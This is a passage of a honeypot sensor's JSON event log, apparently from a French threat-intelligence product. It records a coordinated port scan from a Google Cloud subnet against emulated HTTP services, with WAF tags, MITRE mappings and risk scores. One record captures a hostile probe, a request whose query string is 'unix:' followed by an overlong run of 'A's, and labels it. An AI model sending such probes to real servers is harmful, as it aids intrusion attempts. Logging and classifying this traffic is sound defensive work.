\u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022155087d52fbd3a92c10f7c6614228f95e3ccd117\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8098, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228098 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 24}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 53, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8098, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +24\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8098, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228098 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +24 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228098\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 4, \u0022port_scan_ports_sample\u0022: [8085, 8087, 8089, 8098], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 24, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8098","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","anomalies":"[]","severity":8,"bytes_in":185},{"id":14680730,"ip":"34.19.116.51","ts":"2026-07-31 15:35:53.000000","proto":"tcp","src_port":57354,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":7,"waf_tags":"[\u0022950649:query-overlong\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 0, \u0022http_query_params\u0022: 1, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: null, \u0022http_host_hash\u0022: null, \u0022http_target_hash\u0022: \u0022dd772a37bf9573f090ff5f265b2085d35ca1b53a\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 0.03609578052002148, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 36.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 10.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.7, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 36.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 10.0}, \u0022risk_score\u0022: 46, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022daaba76bce010b295976341cc15a7759df3557b7\u0022, \u0022event_fingerprint\u0022: \u0022803cb7c387e2d1bcbc01c0b0d79901482a8faf0f\u0022, \u0022classification_reason\u0022: \u0022Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 231, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 36.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 10.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022payload_hash\u0022: \u00228fc7a17835a96b90d772eb352a3f3e89\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 46}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022query_string\u0022: \u0022unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022waf_tags\u0022: [\u0022950649:query-overlong\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022query-overlong\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022payload_snippet\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022query_string\u0022: \u0022unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022waf_tags\u0022: [\u0022950649:query-overlong\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022query-overlong\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022request_sample\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022payload_snippet\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022classification_reason\u0022: \u0022Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: 